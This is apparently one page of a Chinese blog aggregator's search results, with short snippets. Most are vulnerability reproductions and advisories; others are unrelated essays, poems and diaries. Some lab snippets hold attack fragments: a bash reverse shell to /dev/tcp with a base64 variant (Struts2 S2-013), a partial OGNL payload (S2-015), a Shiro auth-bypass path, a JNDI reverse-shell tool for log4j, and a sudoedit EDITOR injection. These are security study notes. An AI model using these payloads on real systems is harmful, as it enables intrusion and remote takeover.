CVE漏洞库

Atlassian Confluence Data Center and Server 权限提升漏洞复现（CVE-2023-22515）

0x01产品简介AtlassianConfluence是一款由Atlassian开发的企业团队协作和知识管理软件，提供了一个集中化的平台，用于创建、组织和共享团队的文档、知识库、项目计划和协作内容。是面向大型企业和组织的高可用性、可扩展性和高性能版本。0x02漏洞概述AtlassianConfluenceDataCenterandServer存在权限提升漏洞，未经身份验证的远程攻击者可以利用该漏洞
OidBoy_G·2024-01-25 06:30

[漏洞复现]Apache Struts2/S2-015 （CVE-2013-2134）

一、漏洞情况分析2.3.14.3之前的ApacheStruts2允许远程攻击者通过带有在通配符匹配期间未正确处理的精心制作的操作名称的请求执行任意OGNL代码，这是与CVE-2013-2135不同的漏洞
free key·2024-01-25 06:41

[漏洞复现]Apache POI ＜ 3.10.1 XXE（CVE-2014-3529）

一、漏洞情况分析ApachePOI3.10.1之前的OPCSAX设置允许远程攻击者通过OpenXML文件读取任意文件，该文件包含与XML外部实体(XXE)问题相关的XML外部实体声明和实体引用。二、漏洞复现春秋云境.com进入靶场准备文件和环境创建一个[Content_Types].xml文件和xxe.dtd文件注意名字不可修改###xxe.dtd###">%all;###[Content_Typ
free key·2024-01-25 06:10

[漏洞复现]Apache Struts2/S2-013 （CVE-2013-1966）

一、漏洞情况分析2.3.14.2之前的ApacheStruts2允许远程攻击者通过在(1)URL或(2)A标签中使用includeParams属性时未正确处理的特制请求执行任意OGNL代码。二、漏洞复现春秋云境.com进入靶场开始复现bash-i>&/dev/tcp/127.0.0.1/99990>&1base加密bash-c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOT
free key·2024-01-25 06:10

[漏洞复现] Craft (CVE-2023-41892)

前言本次测试仅供学习使用，如若非法他用，与平台和本文作者无关，需自行负责！一、漏洞情况分析CraftCMS是美国Pixel＆tonic公司的一套内容管理系统（CMS）。一个开源的内容管理系统，它专注于用户友好的内容创建过程，逻辑清晰明了，是一个高度自由，高度自定义设计的平台吗，可以用来创建个人或企业网站也可以搭建企业级电子商务系统。Pixel＆tonicCraftCMS4.4.15之前版本存在代码
free key·2024-01-25 06:10

[漏洞复现]Apache Shiro ＜ 1.6.0 验证绕过漏洞（CVE-2020-13933）

一、漏洞情况分析ApahceShiro由于处理身份验证请求时出错存在权限绕过漏洞，远程攻击者可以发送特制的HTTP请求，绕过身份验证过程并获得对应用程序的未授权访问。二、漏洞复现春秋云境.com进入靶场开始复现/admin/%3b三、漏洞处置建议把靶场关了，跟漏洞说“白白吧”
free key·2024-01-25 06:10

[漏洞复现]Apache Struts2/S2-015 （CVE-2013-2135）

一、漏洞情况分析2.3.14.3之前的ApacheStruts2允许远程攻击者通过一个包含“${}”和“%{}”序列的特制值的请求执行任意OGNL代码，这会导致OGNL代码被评估两次。二、漏洞复现春秋云境.com进入靶场开始复现构造好payload,弹nc${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_member
free key·2024-01-25 06:04

GitLab升级版本（任意用户密码重置漏洞CVE-2023-7028）

目录前言漏洞分析影响范围查看自己的GitLab版本升级路程升级过程13.1.1113.8.8-14.0.1214.3.614.9.5-16.1.6前言最近GitLab发了个紧急漏洞需要修复，ok接到命令立刻着手开始修复，在修复之前先大概了解一下这个漏洞是什么东西漏洞分析1、组件介绍：GitLab是一个用于仓库管理系统的开源项目，使用Git作为代码管理工具，并在此基础上搭建起来的web服务。2、漏洞
九辰O·2024-01-25 05:56

杨英锐：学术散文之三十九 心理生命与理论物理（第六章前言及6.1节上）

我以为哲学先贤漏造了一个专神，主司语言。这可能是因为，造神本源于对未知的敬畏。然而语言之神与我们时时相伴，平易近人，倒使人们淡却了敬畏之心
DeltaSunshine·2024-01-25 05:04

要有希望，不要想这希望在哪儿

而不要去想所谓“希望”它到底在哪儿呢……这并不是因为，只要有希望就万事大吉了、没希望则必然很漏涩儿。而是因为，生命本身就蕴涵着这种尊严高贵的力量。
麦内姆S其他人·2024-01-25 05:22

早安，打工人

可是随着一些职场的潜规则的暴漏，越来越多的人都觉得原来无论是职场的白领也好，办公室吹空调的的办公人员也好，都是被老板压榨的一方，都是为老板打工的打工人罢了。
熊孩子qq·2024-01-25 05:01

SpringCloud Alibaba Sentinel 与 SpringCloud Gateway 的限流有什么差别？(三种限流算法原理分析)

1.1、前置知识-四种常见的限流算法1.1.1、Tips1.1.2、计数器算法1）固定窗口计数器算法2）滑动窗口计数器算法1.1.3、令牌桶算法1.1.4、漏桶算法1.2、解决问题一、Sentinel与
陈亦康·2024-01-25 05:24

log4j2漏洞综合利用_CVE-2021-44228_CNVD-2021-95919

1.漏洞利用1.1.rmi利用1、在检测到目标存在log4j2漏洞后，确定漏洞参数，尝试接受目标rmi请求。成功接收到请求。出现JRMIK字样即代表可接受RMI请求。2、漏洞利用。使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar执行命令，反弹shell。java-jarJNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar-
LQxdp·2024-01-25 04:39

confluence模版注入漏洞_CVE-2023-22527

1.漏洞简介Confluence是Atlassian公司开发的一款专业的企业知识管理与协同软件，可用于构建企业wiki。ConfluenceDataCenter和ConfluenceServer多个受影响版本中存在模板注入漏洞，未经身份验证的威胁者可利用该漏洞在受影响的实例上实现远程代码执行。2.影响版本ConfluenceDataCenter和ConfluenceServer8.0.xConfl
LQxdp·2024-01-25 04:08

2019-01-19

二寒漏频频剪柳烟，冰封河岳水痕眠。邻家玩子嬉嬉舞，串串欢歌雪中传。
77417f63bda3·2024-01-25 03:55

警惕！Citrix NetScaler ADC 和 NetScaler Gateway漏洞风险通告

近日，亚信安全CERT监控到Citrix发布了NetScalerADC和NetScalerGateway的安全公告，披露了2个安全漏洞CVE-2023-6548和CVE-2023-6549。
亚信安全官方账号·2024-01-25 03:22

Atlassian Confluence 模板注入代码执行漏洞风险通告

近日，亚信安全CERT监控到Atlassian公司发布了一则安全公告，针对ConfluenceDataCenterandServer存在的远程代码执行漏洞（CVE-2023-22527）进行了修复。
亚信安全官方账号·2024-01-25 03:21

【漏洞修复】Apache Log4j 远程代码执行漏洞(CVE-2021-44228、CVE-2021-45046)

摘要本文档适用于OpenEuler20、OpenEuler21、OpenEuler22、麒麟V10SP3、统信V10操作系统，修复Log4漏洞。问题描述ApacheLog4j是一个功能强大的日志组件，提供方便的日志记录。ApacheLog4j2存在远程代码执行漏洞，由于ApacheLog4j2某些功能存在递归解析功能，攻击者可直接构造恶意请求，触发远程代码执行漏洞。修复方法方法一：升级log4j版
荒Huang·2024-01-25 02:42

vulhub之Spring篇

CVE-2022-22978Spring-security认证绕过漏洞一、环境启动web服务正常访问admin页面，因为没有经过身份认证，会被禁止；加上换回车符\n后正则表达式不会匹配；将换行符\n用%
咩了个咩咩·2024-01-25 02:27

工作经验教训

3，及时统计完，及时和领导请示，要让领导签字，这样才能证明你不是乱报材料，每次材料一定要给领导过目，就算是一个小事也要，不要怕麻烦，因为所处的环境不同，目光也会不同，站位也不一样，我们所报的可能会有漏项
喜鹊山·2024-01-25 00:55

关于H3C路由器漏洞的情况说明

漏洞简介：H3C多款企业路由器actionpolicy_status信息泄露漏洞漏洞编号：NVDB-CNVDB-2022938054（CVE-2023-5142）NVBD收录时间：2022年12月29日厂商回复已修复时间
weixin_44106034·2024-01-24 22:48

（BUUCTF）ycb_2020_easy_heap （glibc2.31的off-by-null + orw）

分析程序，开启了沙盒，只禁用了execve。存在一个off-by-
LtfallQwQ·2024-01-24 22:14

D-Tale SSRF漏洞复现（CVE-2024-21642）

0x01产品简介D-tale是一个在2020年2月推出的库，是Pandas数据结构的可视化工具。它具有许多功能，对于探索性数据分析非常方便、支持交互式绘图、3d绘图、热图、特征之间的相关性、构建自定义列等等。0x02漏洞概述D-Tale是Pandas数据结构的可视化工具。3.9.0之前的D-Tale版本的用户可能容易受到服务器端请求伪造(SSRF)的攻击，从而使攻击者能够访问服务器上的文件。0x0
OidBoy_G·2024-01-24 22:45

【复现】D-Tale SSRF漏洞(CVE-2024-21642)_26

目录一.概述二.漏洞影响三.漏洞复现1.漏洞一：四.修复建议：五.搜索语法：六.免责声明一.概述D-Tale数据可视化插件是后端框架Flask与前端框架React组合产生的一款开源的数据可视化分析插件。目前支持DataFrame、Series、MultiIndex、DatetimeIndex和RangeIndex等Pandas的数据结构对象，并且还提供了常规数据结构的函数分析等可视化功能实现。二.
穿着白衣·2024-01-24 22:13

2023-07-11 下班忙

踏着高温，耗费40分钟，走到了菜场，买了明天的饺子；等的时候，点好了今晚西贝的套餐外卖；到家换衣整理厨房，发现盒子里昨晚泡椒凤爪的汤汁漏到冰箱的角角落落。问了女儿是不是碰过了才导致如此，竟不承认。
RunningAn·2024-01-24 19:56

计算线圆交点

privatestaticVector2CalIntersection(Vector2start,Vector2end,Vector2center){Vector2v=Vector2.zero;floatdisY1
敉霞·2024-01-24 16:05

V2022全栈培训笔记（WEB攻防46-WEB攻防-通用漏洞&PHP反序列化&原生类&漏洞绕过&公私有属性）

反序列化语言特性漏洞绕过~其他魔术方法共有&私有&保护语言模式方法漏洞~原生类获取利用配合#反序列化利用大概分类三类-魔术方法的调用逻辑如触发条件-语言原生类的调用逻辑如SoapClient-语言自身的安全缺陷如CVE
清歌secure·2024-01-24 16:20

2023年春秋杯网络安全联赛春季赛Misc-AK

sudoCVE-2023-22809没有vimvi，就用原生编辑器nanoEDITOR='nano--/flag'sudoedit/etc/GAMELABpiphack可以下载任意包，考虑构造恶意的包，
Y0ng778·2024-01-24 16:50

特产皮渣

图片发自App高温使现漏的粉条定型，方便下一步成块。图片发自A
bluesky_afcc·2024-01-24 14:26

【冯钇嘉桐】我怎么能这么马虎？

就快速地写完后，看了一下有没有漏题的，就交给了老师，在等待老师结果的同时我就开始收拾书包了。后来老师说到：＂冯钇嘉桐错两道。＂我非常震惊，心想：我怎么能有错的呢，一定是老师看错了。
磊磊的柠檬·2024-01-24 14:07

【笔记】Helm-3 主题-16 发布计划策略

SemanticVersioning2.0.0|SemanticVersioni
许科大·2024-01-24 12:40

ad09机械层说明_悉数PCB上的各种层

助焊层pastemask，是机器贴片时要用的，是对应所有贴片元件的焊盘的，大小与toplayer/bottomlayer层一样，是用来开钢网漏锡用的。
weixin_39972019·2024-01-24 12:07

cve-2022-0847 dirty pipe 摘录

Breeze_CAT/article/details/123393188图解https://xz.aliyun.com/t/11016提权https://bsauce.github.io/2022/04/03/CVE
goodcat666·2024-01-24 12:32

【家长齐助力 携手共成长】浞景幼儿园小二班家长进课堂活动

此次，我们邀请的是王皓晨的妈妈，她来给小朋友们讲了一个《心砰砰跳，脸火辣辣》的绘本故事，皓晨妈妈讲的故事抑扬顿挫，孩子们听得聚精会神，生怕一不小心漏听了什么。
06f4061fba61·2024-01-24 12:35

黑客“盯上了” Atlassian Confluence RCE 漏洞

BleepingComputer网站消息，安全研究人员近日观察到一些威胁攻击者正在试图针对CVE-2023-22527远程代码执行漏洞“做文章”，以发起大规模网络攻击活动。
FreeBuf_·2024-01-24 08:54

ubuntu 20.04 aarch64 平台交叉编译 libffi 库

libffi库，也就是libffi库也需要交叉编译环境：ubuntu20.04交叉编译工具链：这里使用musllibc的gcc交叉编译工具链，aarch64-linux-musleabi-gcc，gcc版本gccversion12.2.0
张世争·2024-01-24 06:47

2022-03-16

帕金森病通常在初期表现较为隐匿，症状不是很明显，常会造成误诊和漏诊。而帕金森发展到后期，症状表现较为严重，会产生多种运动以及非运动症状，甚至全身僵硬，完全无法自理。只能靠家里人的照顾来生活。
洛希极限距离·2024-01-24 04:44

Stable Diffusion能生成视频了！动画版上线！支持文本图像视频多种输入方式

点击下方卡片，关注“CVer”公众号AI/CV重磅干货，第一时间送达点击进入—>【GAN和扩散模型】微信技术交流群西风发自凹非寺转载自：量子位（QbitAI）StableDiffusion也能生成视频了
Amusi（CVer）·2024-01-24 00:14

2021年8月29日星期日小雨

为了参加学校举办的新生入学家长会，特意从威海赶回来，回来的稍有点晚，进会场时会议已经开始，李遵林副校长正在讲疫情防控和就餐的事情，这可是当前的重中之重，我怕有漏听的内容，会后还特意跟陈校长咨询过，了解我们校的防控措施和要求
哥德巴赫猜想·2024-01-23 23:17

简约之美，意境诗词(497)：清·黄景仁~癸巳除夕偶成·其一

原诗：千家漏语笑迟迟，忧患潜从物外知。悄立市桥人不识，一星如月看多时。原作者~清，黄景仁简约之美①：千家笑迟迟，潜从物外知。立桥人不识，星月看多时。
诸葛二哥·2024-01-23 22:44

问GPT：软件测试工程师 年底考核 需要关注的点

以下几点是行业大佬给的观点：1.漏测率2.测试效率3.学习提升能力4.内部分享输出5.团队内部的横向对比以下几点是GPT给的观点：
涅槃Ls·2024-01-23 20:26

2022、23年各需求提测后的总结，及典型bug缺陷

2023年2023-121、建议把一些冷门的业务逻辑整理出来，整理到一个文档中，方便自己经常查看，去回忆去加固印象，防止漏测。2、需要反思下漏测的场景，为什么会漏测？举一反三。
涅槃Ls·2024-01-23 20:55

渗透测试的意义

哪怕是今天在github上下载了一个非常好用的漏扫工具，那种兴奋的感觉也是溢于言表。归根结底都来源于好奇心、新鲜感的满足。我至今还记得第一次成功爆破弱口令登入后台时的
黑战士安全·2024-01-23 19:59

【漏洞分析】【spring】【CVE-2018-1273】【远程命令执行】spel注入漏洞

https://xz.aliyun.com/t/2269http://xxlegend.com/2018/04/12/CVE-2018-1273-%20RCE%20with%20Spring%20Data
growing27·2024-01-23 18:41

oracle中一个会话,一个Oracle会话严重阻塞的案例

环境：osrhel5.3dbms三节点Oracle10gracver10.2.0.4现象：某些工作站死机或网络异常后，特定的收费人员在ZLHIS中收费时，点击确定后，程序无响应．将会话kill后，重新登录
贲禹强·2024-01-23 18:35

带你见识下一百年前的育儿桶

图片发自App这种站桶是下粗上细，下上开口的圆桶，桶内有两层，用漏花木板隔开，上边可放小凳子，让孩子或站或坐，主要流行在江南一带的农村。大凡闺女出嫁，站桶是必备的嫁妆之一。
书拉蜜女_·2024-01-23 18:07

你一点都不重要

大家眼里人缘不错的人，其实每天盯着微信新消息提醒，生怕漏过一个人的“关心”（虽然大多数都是白费力气）每个人都想象着自己是多么的重要，在别人那有多重的分量，聊的话题有多么特别和掏心。
不吃草兔子·2024-01-23 16:11

rocketmq4.9.4有bug,生产勿用

详见ApacheRocketMQNameServer远程代码执行漏
码农小钻风·2024-01-23 16:33

磁粉检测为什么叫漏磁检测？

问题描述：磁粉检测为什么叫漏磁检测？问题解答：磁粉检测之所以被称为"漏磁检测"，是因为这项技术是基于材料表面或近表面的漏磁现象进行检测的。在磁粉检测中，通常会使用磁场来引发材料中的漏磁现象。
神笔馬良·2024-01-23 14:01

农药趣闻

只能捡个漏，放个地图炮啥的。就算你瞎猫碰见死耗子，也得有耗子死了让你捡啊！
71f8b6c2dfd3·2024-01-23 13:06
上一页 11 12 13 14 15 16 17 18 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他